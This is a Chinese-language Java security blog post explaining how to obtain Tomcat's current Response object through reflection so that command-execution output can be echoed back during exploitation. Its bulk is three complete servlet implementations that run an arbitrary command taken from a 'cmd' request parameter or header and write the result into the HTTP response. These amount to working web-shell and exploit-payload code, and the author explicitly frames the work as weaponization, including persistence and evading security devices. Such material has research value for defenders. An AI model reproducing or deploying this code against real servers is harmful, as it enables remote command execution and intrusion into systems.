Java安全漫谈(5)——Tomcat 回显综述
0x1 前言
好久不见,这一篇耽搁了很久,终于写出来了。
在写本文的时候,我才真正体会到Java安全的深度,并且理解了武器化的重要性,漏洞研究绝不能止步于calc
或简单的执行命令,每种环境的适配、持久化、规避安全设备都是研究人员必须思考的。
0x2 回显方法
目前关于Tomcat 回显的核心思想是获取当前请求的Response
并将执行结果写入其中,这种方法比较稳定并且不依赖特定系统。
实现的方法不止一种,逐个来看。
0x01 利用ApplicationFilterChain
我们的任务是在整个代码流程中找到Request
和Response
被记录的地方,之后通过反射获取。
来看org.apache.catalina.core.ApplicationFilterChain
类:
在判断结果为真时,将Request
和Response
赋值给了该类的静态成员变量。
所以我们的思路是:
- 利用反射修改
ApplicationDispatcher.WRAP_SAME_OBJECT
为真 - 再从
lastServicedResponse
中获取Response
并写入命令执行结果
要注意的是,ApplicationDispatcher.WRAP_SAME_OBJECT
是一个static final
变量,而lastServicedResponse
是一个private static final
变量,正常情况下利用反射也无法修改,解决办法是先利用反射取出对应字段,再去除final
修饰符,最后进行修改。
实现代码:
package com.example.tomcatechotest;
import org.apache.catalina.connector.ResponseFacade;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.Scanner;
@WebServlet(name = "echoTest1", value = "/echo1")
public class TomcatEcho1 extends HttpServlet {
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
try {
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").
getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = Class.forName("org.apache.catalina.core.ApplicationFilterChain")
.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = Class.forName("org.apache.catalina.core.ApplicationFilterChain")
.getDeclaredField("lastServicedResponse");
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
Boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
String cmd = null;
if(lastServicedRequest != null){
cmd = lastServicedRequest.get().getParameter("cmd");
}
if(!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null){
lastServicedRequestField.set(null, new ThreadLocal<>());
lastServicedResponseField.set(null, new ThreadLocal<>());
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
} else if (cmd != null) {
ServletResponse servletResponse = lastServicedResponse.get();
Writer w = servletResponse.getWriter();
Field responseField = ResponseFacade.class.getDeclaredField("response");
responseField.setAccessible(true);
org.apache.catalina.connector.Response response = (org.apache.catalina.connector.Response)responseField.get(servletResponse);
Field usingWriterField = org.apache.catalina.connector.Response.class.getDeclaredField("usingWriter");
usingWriterField.setAccessible(true);
usingWriterField.set((Object) response, Boolean.FALSE);
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
w.write(output);
w.flush();
}
} catch (Exception e) {
e.printStackTrace();
}
}
protected void doPost(HttpServletRequest req, HttpServletResponse resp) {
doGet(req, resp);
}
}
请求第一次:
请求第二次:
第一次只修改了对应的值,第二次请求时缓存了值,后面就可以正常使用命令执行 了。
该方法的缺点是无法在Shiro反序列化场景中使用,因为Shiro的反序列化在缓存之前,这时还无法取到Response
,另外还比较依赖目标使用的处理流程。
0x02 利用全局存储
这种方法主要是通过Tomcat的全局存储机制来获取Response
,这样就脱离了目标代码,依赖于Tomcat本身。
1. WebappClassLoaderBase
通过调试,从调用栈里发现了继承于AbstractProcessor
类的Http11Processor
类:
这两个属性为final
,只需要获取该对象就可以得到Response
.
回溯调用链,在AbstractProtocol$ConnectionHandler
类中,会将当前Processor
对象的信息存储在内部类成员变量global
中:
接下来寻找存储了AbstractProtocol
对象的地方,在CoyoteAdapter.service()
中对Response
进行操作:
其中Connector
类有一个ProtocolHandler
接口成员,它的实现有:
其中与Http11相关的类也继承了AbstractProtocol
类,所以这里就可以串联起来。
获取Connector
对象可以通过StandardService
类:
而获取StandardService
对象则要依靠Tomcat的加载机制,即WebAppClassLoader
加载本身目录下的class文件,加载不到时再交给CommonClassLoader
加载。
获取时,先获取当前线程的ClassLoader
,再从中寻找service
属性。
最终,整体的流程为:
- 获取当前线程的
ClassLoader
,再从中寻找service
属性即StandardService
对象 - 从
StandardService
对象中获取Connector
对象 - 获取
Connector
对象的ProtocolHandler
属性,从而获取AbstractProtocol
对象 - 获取
AbstractProtocol$ConnectionHandler
的成员变量global
- 获取
Processor
对象 - 遍历该对象得到所需的
Request
和Response
实现代码:
import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.StandardContext;
import org.apache.coyote.*;
import org.apache.tomcat.util.http.MimeHeaders;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.util.ArrayList;
/**
* Tomcat echo test.(> tomcat7)
*
* @author Adan0s
* @date 2022/11/1 23:00
**/
public class TomcatEcho extends HttpServlet {
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
boolean flag=false;
try {
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
Connector[] connectors=(Connector[]) getField(getField(getField(standardContext,"context"),"service"),"connectors");
for(Connector connector:connectors){
Object global=getField(getField(getField(connector,"protocolHandler"),"handler"),"global");
ArrayList processors=(ArrayList)getField(global,"processors");
for(int i=0;i<processors.size();i++){
RequestInfo requestInfo=(RequestInfo) processors.get(i);
if((int)getField(getField(getField(requestInfo, "req") , "headers"), "count") != 0){
MimeHeaders headers = (MimeHeaders) getField(getField(requestInfo, "req") , "headers");
String cmd = (String) headers.getHeader("cmd");
InputStream inputStream = new ProcessBuilder(cmd).start().getInputStream();
StringBuilder sb = new StringBuilder("");
byte[] bytes = new byte[1024];
int n = 0 ;
while ((n=inputStream.read(bytes)) != -1){
sb.append(new String(bytes,0,n));
}
Request request=(Request) getField(requestInfo,"req");
org.apache.catalina.connector.Request Myrequest=(org.apache.catalina.connector.Request) request.getNote(1);
org.apache.catalina.connector.Response Myresponse=Myrequest.getResponse();
Writer writer=Myresponse.getWriter();
writer.write(sb.toString());
flag=true;
}
if(flag){
break;
}
}
}
} catch (Exception e){
e.printStackTrace();
}
}
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doGet(req,resp);
}
public static Object getField(Object obj,String fieldName) throws Exception{
Field field=null;
Class clas=obj.getClass();
while(clas!=Object.class){
try{
field=clas.getDeclaredField(fieldName);
break;
}catch (NoSuchFieldException e){
clas=clas.getSuperclass();
}
}
if (field!=null){
field.setAccessible(true);
return field.get(obj);
}else{
throw new NoSuchFieldException(fieldName);
}
}
}
这种方法的主要缺点是只适用于Tomcat 8和9的部分版本,不适用Tomcat 7的原因是该版本获取到的WebappClassLoaderBase
对象没有context
属性。
对于Tomcat 8.5.78(9.0.62)及之后的版本,WebappClassLoaderBase.getResources()
被废弃,始终返回为空,所以这里的实现也无法使用了:
2. NioEndPoint
因为Tomcat 7无法通过WebappClassLoaderBase
对象来获取AbstractProtocol$ConnectionHandler
,为了构造更通用的回显,我们需要寻找新的突破点。
AbstractProtocol$ConnectionHandler
类实现了AbstractEndpoint.Handler
接口,而AbstractEndpoint
类是一个抽象类,所以要寻找其子类:
使用的是NioEndPoint
类,获取方法是从threads数组中进行遍历:
再获取AbstractProtocol$ConnectionHandler
对象中的handle
,其他部分就一样了。
实现代码:
package com.example.tomcatechotest;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.StandardContext;
import org.apache.coyote.*;
import org.apache.tomcat.util.http.MimeHeaders;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.util.ArrayList;
/**
* Tomcat echo test.(> tomcat7)
*
* @author Adan0s
* @date 2022/11/1 23:00
**/
@WebServlet(name = "echoTest", value = "/echo")
public class TomcatEcho extends HttpServlet {
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
boolean flag=false;
try {
Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
for(int i = 0; i < threads.length; i++){
try{
Object global = getField(getField(getField(getField(threads[i], "target"), "this$0"), "handler"), "global");
ArrayList processors=(ArrayList)getField(global,"processors");
for(int j=0;j<processors.size();j++){
RequestInfo requestInfo=(RequestInfo) processors.get(j);
if((int)getField(getField(getField(requestInfo, "req") , "headers"), "count") != 0){
MimeHeaders headers = (MimeHeaders) getField(getField(requestInfo, "req") , "headers");
String cmd = (String) headers.getHeader("cmd");
InputStream inputStream = new ProcessBuilder(cmd).start().getInputStream();
StringBuilder sb = new StringBuilder("");
byte[] bytes = new byte[1024];
int n = 0 ;
while ((n=inputStream.read(bytes)) != -1){
sb.append(new String(bytes,0,n));
}
Request request=(Request) getField(requestInfo,"req");
org.apache.catalina.connector.Request Myrequest=(org.apache.catalina.connector.Request) request.getNote(1);
org.apache.catalina.connector.Response Myresponse=Myrequest.getResponse();
Writer writer=Myresponse.getWriter();
writer.write(sb.toString());
flag=true;
}
if(flag){
break;
}
}
}
catch (Exception e){
e.printStackTrace();
}
}
} catch (Exception e){
e.printStackTrace();
}
}
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doGet(req,resp);
}
public static Object getField(Object obj,String fieldName) throws Exception{
Field field=null;
Class clas=obj.getClass();
while(clas!=Object.class){
try{
field=clas.getDeclaredField(fieldName);
break;
}catch (NoSuchFieldException e){
clas=clas.getSuperclass();
}
}
if (field!=null){
field.setAccessible(true);
return field.get(obj);
}else{
throw new NoSuchFieldException(fieldName);
}
}
}
0x3 结语
除了文中的这些方法,还有一些在探索过程中发现、不完美的方法并没有提到 ,但并不代表这些方法是没有价值的,有兴趣的可以参看这些文章:
在经过许多师傅的不懈努力之后,可以说Tomcat回显思路已经成型固定,后面的安全人员站在巨人的肩膀上能更容易地摘到苹果,非常感谢他们的无私分享。
这篇文章我个人认为并没达到「漫谈」的标准,只是一篇笔记,因为最近的创作欲望比较低,也许后面会将其重构。